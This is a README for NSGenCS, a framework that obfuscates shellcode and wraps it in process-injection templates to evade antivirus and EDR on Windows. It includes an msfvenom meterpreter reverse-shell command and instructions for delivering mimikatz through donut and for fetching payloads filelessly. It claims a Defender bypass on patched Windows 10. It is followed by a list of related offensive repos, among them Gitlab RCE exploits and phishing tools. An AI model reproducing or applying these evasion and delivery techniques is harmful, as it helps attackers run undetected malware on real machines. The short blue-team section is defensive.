Extendable payload obfuscation and delivery framework

Overview

NSGenCS

What Is?

An extremely simple, yet extensible framework to evade AV with obfuscated payloads under Windows.

Installation Requirements

Currently only runs under Windows

Python3

.NET (dependencies required vary on delivery templates)

Running

Simple method :

python NSGenCS.py file <payload> -method <Obfuscation Method> -key <encryption/decryption key if required>

Should generate payload.exe

Options

Option Usage Default
-file C# file with byte[] buf NOTE if you see errors, please check the variable is called buf and not my_buf (from Donut) for example Req'd
-key Key for payload encryption/decryption (example: 0xff) NOTE no validation is done on key value false
-method Payload encryption method folder name (currently xor and reverse) Req'd
-template Delivery Template Directory for inserting payload and decryption into APC_Inj_New
-shellcode Shellcode Template Directory for shellcode modification file ShellcodeTemplate
-out Output Filename Payload.exe
-h Show help file

How do?

This is a two-stage process. The first takes your input file and obfuscates it according to your chosen method. Initially I have implemented two simple ones, the idea is that this will be an extensible framework that gives you the ability to customise it to your heart's content.

If we look at the two simple methods, xor and reverse, both folders contain an encrypt.txt and a decrypt.txt. These are C# files that contain the transformations that you wish to apply to your code. In the case of reverse this is just Array.Reverse(buf); These can be as complicated or as simple as you wish.

For the XOR method, a key is required with which to XOR the input file which is passed on the command line.

These code snippets and placed in the ShellcodeTemplate which will then output your modified code ready to pass to the delivery template.

The modified code is placed in the delivery template along with the instructions from decrypt.txt which is then compiled and your payload generated. You can create a template that uses syscalls for example, package it with DInvoke and Fody, change the process you inject into, change the entire delivery method from process injection for example.

You have complete freedom to create new delivery templates and new payload obfuscation methods

Templates

To show how easy it is to modify templates, I borrowed the templates from pwndizzle (https://github.com/pwndizzle/c-sharp-memory-injection).

Modifications took less than a minute :

  1. Download existing template to its own folder, rename it to template and add the payload.csproj to the folder. 9 times out of 10 you can just copy an existing payload.csproj from one of the exiting templates, however if your delivery template has sopecifc requirements such as System.EnterpriseServices then some configuration will be required. The folder name will become the parameter you pass via -template

image

  1. Open the template file and locate where current shellcode is stored :

image

  1. Note that in this case the shellcode is stored in a variable called payload
  2. Search and replace payload with buf (please see notes below)
  3. Delete current payload
  4. Add SHELLCODEHERE and DECRYPTHERE

image

That's it! Now compile it remembering to use -template followed by the folder name you installed the new template into. I used the output from c:\metasploit-framework\bin\msfvenom.bat -p windows/x64/meterpreter/reverse_tcp -f csharp LPORT=4444 LHOST=192.168.1.84 -o meterpreter.cs

Now you have to understand what your delivery template is doing, and it's requirements. For example the Thread_hijack takes a command line parameter for the process you wish to inject into - I used notepad in this example. Let's see how it gets on with a fully patched and upto date Windows 10 with Defender :

image

Perfect!

You can extend the existing templates or add your own in their own folder to include other defensive measures if you want.

Encrypt/Decrypt

The two simple examples used don't really show the extensibility of the framework. Want to prepend code to your shellcode? This is where you can do it.

You could even add code for in-memory decryption. Use the encrypt file to generate to encrypted payload and use decrypt to add some in memory decryption code at the beginning of the payload you are looking to inject. Alternatively add it before the transform in the encrypt function and let decrypt only perform decryption.

A simple example of how to add a 1000 byte NOP sled before your payload is included in the NOPSled method:

    		Array.Reverse(buf);
		Array.Resize(ref buf, (buf.Length) + 1000);
		Array.Reverse(buf);
		for (int j = 0; j < 1000 ; j++)
                {
                    buf[j] = (byte)((uint) 0x90);
                }

If you want to use AES encryption or the like, make sure that you ensure that you add the appropriate using to the necessary files such as using System.Security.Cryptography;. You can use KEYHERE and -key for a static key or even key it to a hostname or something if you want to use a more targeted approach.

There is a DLL Injection template provided, however this doesn't take a payload as such, it takes a filename. I haven't modified this template to take the parameters from any of the methods, it's left as is so you can experiment with it. You don't need SHELLCODEHERE, ENCRYPTHERE or DECRYPTHERE, you just need to pass a string to it. You could just replace line 74 with string dllName = "KEYHERE";. Create a new obfuscation method called 'Filename' and have blank encrypt and decrypt files. Or something like that - have a play :)

Want to do fileless? Just have an empty SHELLCODEHERE and use decrypt to create a download function to grab your payload from a remote host (or over SMB if you want). Again make sure that your delivery template has the appropriate using xxxxxxxxxx.

It really is limited only by your imagination.

Donut

You can also use the awesome donut framework (https://github.com/TheWover/donut) to create payloads for use with the framework such as mimikatz :

donut -a 2 -f 7 -z 2 file.exe will generate a loader.cs that you can use - PLEASE CHANGE THE VARIABLE NAME FROM my_buf to buf!!

You can deliver nearly anything using a combination of donut and NSGenCS. donut is the closest framework to magic as far as I can tell. Want to deliver a tool that is detected but not a shellcode/beacon? Go for it - drop it using this framework and the donut loader.cs. Just make sure you use a delivery template that supports console out if you need it and specify any command line options you require (such as an output file if you don't have a template that supports console output) using the -p"my command line options here" flag in donut.

Pointless Functionality (Triggers AV Currently)

Also supplied is the PE_Load template adopted from Casey Smith's (@subTee) and a utility called PE2CS. The PE_LOAD template triggers Defender so use with caution!

image

Want to reflectively load a PE file? Well now you can if you need to.

It's as simple as just PE2CS inputfile.exe > outputfile.cs and use the outputfile.cs as your C# input file.

Hopefully this shows how you can use templates from all sorts of different projects, drop them in this framework and with a few minor adjustments, you're good to go.

PE2CS

The included utility PE2CS will also convert any raw shellcode into the correct format to use with NSGENCS. Here we take the raw output from MSFVenom and parse it using PE2CS:

C:\Tools\NSGenCS>c:\metasploit-framework\bin\msfvenom.bat -p windows/x64/messagebox TEXT=NSGENCS TITLE=NSGENCS -f raw > msgbox.bin
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 283 bytes


C:\Tools\NSGenCS>pe2cs msgbox.bin > msgbox.cs

C:\Tools\NSGenCS>python NSGenCS.py -file msgbox.cs -method xor -key 0x55 -out p3.exe



███╗   ██╗███████╗ ██████╗ ███████╗███╗   ██╗ ██████╗███████╗
████╗  ██║██╔════╝██╔════╝ ██╔════╝████╗  ██║██╔════╝██╔════╝
██╔██╗ ██║███████╗██║  ███╗█████╗  ██╔██╗ ██║██║     ███████╗
██║╚██╗██║╚════██║██║   ██║██╔══╝  ██║╚██╗██║██║     ╚════██║
██║ ╚████║███████║╚██████╔╝███████╗██║ ╚████║╚██████╗███████║
╚═╝  ╚═══╝╚══════╝ ╚═════╝ ╚══════╝╚═╝  ╚═══╝ ╚═════╝╚══════╝

NS Payload Encryptor by @bb_hacks                                                                                       

> Creating encoded shellcode from CS file
> Generating payload
> Cleanup
Microsoft (R) Build Engine version 16.10.2+857e5a733 for .NET
Copyright (C) Microsoft Corporation. All rights reserved.

  Determining projects to restore...
  Restored C:\Tools\NSGenCS\APC_Inj_New\Payload.csproj (in 94 ms).
  Payload -> C:\Tools\NSGenCS\APC_Inj_New\bin\Release\net45\win10-x64\Payload.exe
  Payload -> C:\Tools\NSGenCS\APC_Inj_New\bin\Release\net45\win10-x64\publish\
        1 file(s) copied.

You should see p3.exe now

C:\Tools\NSGenCS>p3.exe

image

Simples!

No work :(

There is a Troubleshooting.md in the root of this repositiory that contains common issues that people encounter and how to resolve them. If your issue is not documented here, please raise an issue and I will try and find a solution for you.

Notes

Templates are provided just to give you an idea of how easy it is to modify existing templates or write your own.

Please don't raise issues because Thread_Hijack doesn't play nicely with stageless Meterpreter or something! Understand the template you are using and how it interacts with the target system and your payload. I will close them and you will be sad.

Equally please don't raise an issue if your new delivery template doesn't compile because of the .csproj. Look at my code - do I look like I will be able to fix the problem? I'm barely scraping by here :)

Understand your target environment - don't use a Meterpreter payload on a system that does in memory scanning for example. It will fail. And you will be sad.

You will also be sad if you just run payload.exe notepad all the time if there isn't a notepad instance running.

If you don't clean up a lot of the ConsoleWriteLines in the provided templates, you are going to be extremely noisy. This too will make you sad.

If you don't rename the shellcode variable to buf (for example Donut outputs the file with my_buf as the variable) then you will see lots of red error messages when running NSGenCS. This will make you sad also. It will probably look something like this:

image

Guess what - if you use a delivery template that uses ResumeThread with Mimikatz and Defender, you will be sad.

Don't be sad.

This framework has been successfully tested with multiple delivery templates allowing bypasses of multiple AV and EDR endpoints. Please feel free to add templates and methods, I would love to see this become a community supported project. I would definitely not be sad if that happened.

TO-DO

Check that the payload file variable is buf & do regex witchcraft to replace it if not. Some templates already use the buf so ideally, in v2 it can be worked to use a unique variable name.

Check if encrypt/decrypt files have a KEYHERE placeholder and alert/break if -key not supplied

~~Add a -noclean switch to not clean up after execution for debugging purposes

Organise payloads and templates into their own folders for neatness

Bit more error checking and breaks if things go sad

Blue Team

Since the payloads and templates vary so much and templates can be grabbed from anywhere, I have struggled to come up with a good way of detecting this. The framework isn't the thing to trigger on, it will be the methodology employed by the template. I strongly suggest that behavioural detection will be the best way to get visibility of these payloads executing in your environment, but if there are ideas on how to help out #TeamBlue then please let me know and I can up date this file. In memory scanning will pick up things like Meterpreter but if you are using a payload that supports in memory obfuscation - well it's really tough.

Credits

@mhaskar for so much work cleaning the code up. I am not a good/clean/organised/competent coder, before he got his hands on my code it looked like an accident in an alphabet soup factory.

https://github.com/TheWover/donut for such an incredible tool

https://github.com/smokeme/payloadGenerator for the inspiration and base code - I just couldn't get it working with the .NET dependencies which was my fault, so created this instead

https://github.com/pwndizzle/c-sharp-memory-injection for the example templates

How to exploit a double free vulnerability in 2021. 'Use-After-Free for Dummies'

This bug doesn’t exist on x86: Exploiting an ARM-only race condition How to exploit a double free and get a shell. "Use-After-Free for dummies" In thi

Stephen Tong 1.2k Dec 25, 2022
CVE-2021-22205 Unauthorized RCE

CVE-2021-22205 影响版本: Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 Usage python3 CVE-2021-22205.py target "curl \`whoami\`.dnslog

r0eXpeR 70 Nov 09, 2022
Xteam All in one Instagram,Android,phishing osint and wifi hacking tool available

Xteam All in one Instagram,Android,phishing osint and wifi hacking tool available

xploits tech 283 Dec 29, 2022
Nmap automated port scanner written in Python

port-scanner Nmap automated port scanner written in Python. USE: Clone the module Import the module: from portscanModule import portscanner Use: ports

Brayden Karnes 1 Dec 03, 2021
Gitlab RCE - Remote Code Execution

Gitlab RCE - Remote Code Execution RCE for old gitlab version = 11.4.7 & 12.4.0-12.8.1 LFI for old gitlab versions 10.4 - 12.8.1 This is an exploit f

153 Nov 09, 2022
Notebooks, slides and dataset of the CorrelAid Machine Learning Winter School

CorrelAid Machine Learning Spring School Welcome to the CorrelAid ML Spring School! In this repository you can find the slides and other files for the

CorrelAid 12 Nov 23, 2022
Metasploit Multi Purpose Exploiting Toolkit For Termux

MSF-EXPLOIT MSF-ANDRO is a Metasploit Multi Purpose Exploiting Toolkit For Termux . Only a Basic Script , Still in Development . FEATURES : Install Me

Mr.X 22 Dec 29, 2022
Cobalt Strike < 4.4 dos CVE-2021-36798

CVE-2021-36798 CVE-2021-36798 Cobalt Strike 4.3 dos 用法 python3 CVE-2021-36798.py BeaconURL 打瘫Cobalt Strike 只需要一个包 已测试 4.3 4.2 参考: https://labs.sent

37 Nov 09, 2022
Übersicht remote command execution 0day exploit

Übersicht RCE 0day Unauthenticated remote command execution 0day exploit for Übersicht. Description Übersicht is a desktop widget application for m

BoofGang 10 Dec 21, 2021
About Hive Burp Suite Extension

Hive Burp Suite Extension Description Hive extension for Burp Suite. This extension allows you to send data from Burp to Hive in one click. Create iss

7 Dec 07, 2022
Patching - Interactive Binary Patching for IDA Pro

Patching - Interactive Binary Patching for IDA Pro Overview Patching assembly code to change the behavior of an existing program is not uncommon in ma

589 Dec 30, 2022
Script for automatic dump and brute-force passwords using Volatility Framework

Volatility-auto-hashdump Script for automatic dump and brute-force passwords using Volatility Framework

whoamins 11 Apr 11, 2022
BloodyAD is an Active Directory Privilege Escalation Framework

BloodyAD Framework BloodyAD is an Active Directory Privilege Escalation Framework, it can be used manually using bloodyAD.py or automatically by combi

757 Jan 07, 2023
Implementation of an attack on a tropical algebra discrete logarithm based protocol

Implementation of an attack on a tropical algebra discrete logarithm based protocol This code implements the attack detailed in the paper: On the trop

3 Dec 30, 2021
This script checks for any possible SSRF dns/http interactions in xmlrpc.php pingback feature

rpckiller This script checks for any possible SSRF dns/http interactions in xmlrpc.php pingback feature and with that you can further try to escalate

Ashish Kunwar 33 Sep 23, 2022
Threat Intelligence Gathering 威胁情报收集,旨在提高蓝队拿到攻击 IP 后对其进行威胁情报信息收集的效率。

0x00 介绍 tig Threat Intelligence Gathering 威胁情报收集,旨在提高蓝队拿到攻击 IP 后对其进行威胁情报信息收集的效率,目前已集成微步、IP 域名反查、Fofa 信息收集、ICP 备案查询、IP 存活检测五个模块,现已支持以下信息的查询: ✅ 微步标签 ✅ I

Wolf Group Security Team 698 Dec 09, 2022
Lnkbomb - Malicious shortcut generator for collecting NTLM hashes from insecure file shares

Lnkbomb Lnkbomb is used for uploading malicious shortcut files to insecure file

Joe Helle 216 Jan 08, 2023
A toolkit for web reconnaissance, it's fast and easy to use.

A toolkit for web reconnaissance, it's fast and easy to use. File Structure httpsuite/ main.py init.py db/ db.py init.py subdomains_db directories_db

whoami security 22 Jul 22, 2022
解密哥斯拉webshell管理工具流量

kingkong 解密哥斯拉Godzilla-V2.96 webshell管理工具流量 目前只支持jsp类型的webshell流量解密 Usage 获取攻击者上传到服务器的webshell样本 获取wireshark之类的流量包,一般甲方有科来之类的全流量镜像设备,联系运维人员获取,这里以test.

h4ck for fun 46 Dec 21, 2022
Brute-forcing (or not!) deck builder for Pokemon Trading Card Game.

PokeBot Deck Builder Brute-forcing (or not!) deck builder for Pokemon Trading Card Game. Warning: intensely not optimized and spaghetti coded Credits

Hocky Harijanto 0 Jan 10, 2022